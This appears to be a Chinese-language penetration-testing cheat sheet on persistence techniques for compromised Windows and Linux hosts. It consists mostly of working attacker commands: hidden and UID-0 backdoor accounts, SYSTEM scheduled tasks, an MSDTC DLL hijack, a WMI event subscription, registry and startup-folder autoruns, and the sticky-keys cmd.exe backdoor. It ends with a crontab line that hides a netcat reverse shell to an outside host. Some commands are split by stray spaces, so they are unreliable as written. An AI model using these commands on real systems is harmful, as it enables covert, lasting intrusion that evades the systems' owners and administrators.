【内网渗透】权限维持
Windows权限维持
后门账户
隐藏账户
1 | net user ra6b1t$ w123456! /add #添加ra6b1t$隐藏用户 |
Guest账号后门
Guest 帐户是Windows系统内置的账户,默认情况下是未启用的。我们可以使用命令启用guest 账户实现权限维持。
1 | net user guest /active:yes 启用guest用户 |
计划任务
1 | schtasks /create /tn Google /sc minute /mo 1 /tr C:\Users\Administrator\Desktop\1.exe /ru system /f |
注册服务后门
1 | 注册服务 |
MSDTC服务
Distributed Transaction Coordinator 是一个 Windows 服务,负责协调数据库 (SQL Server) 和 Web 服务器之间的事务。当此服务启动时,会尝试从 System32 加载以下三个 DLL 文件
oci.dll、SQLLib80.dll、xa80.dll
在默认的Windows安装中,System32文件夹中缺少oci.dll这个文件
生成恶意DLL命名为oci.dll放入C:\Windows\System32目录(需管理员权限)
1 | sc stop msdtc |
WMI
1 | wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="Windo wsUpdate", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win3 2_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 A ND TargetInstance.SystemUpTime < 260" |
注册表
1 | reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v aa /t REG_SZ /d "C:\1.exe" |
启动目录
将⽊⻢样本放⼊系统的启动⽬录当中 ,可针对重启主机 。 C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Shift后门
将C:windows/system32/sethc.exe替换为cmd.exe。 登陆界⾯连按5下Shift键,可调出cmd.exe
其他功能
屏幕键盘:C:\Windows\System32\osk.exe
放⼤镜:C:\Windows\System32\Magnify.exe
旁⽩:C:\Windows\System32\Narrator.exe
显示切换器 C:\Windows\System32\DisplaySwitch.exe
应⽤切换器:C:\Windows\System32\AtBroker.exe
驱动程序隐藏文件
Easy File Locker是一款文件保护工具,我们可以利用它设置文件/文件夹的权限。
Linux权限维持
添加root后门账户
1 | useradd -p `openssl passwd -1 -salt 'abc' abcabc111` -u 0 -o -g root -G root -s /bin/bash nginx |
SSH公私钥
⽣成公私钥
1 | ssh -keygen -b 4096 -t rsa |
上传公钥到~/.ssh/id_rsa.pub
1 | ssh-copy-id -i ~/.ssh/id_rsa.pub root@192.168.1.100 |
免密登录
1 | ssh -p 22 root@192.168.1.100 |
计划任务
1 | (crontab -l;printf "* * * * * nc -e /bin/bash 1.1.1.1 7777;/bin/bash -- noprofile -i;\rno crontab for `whoami`%100c\n")|crontab - |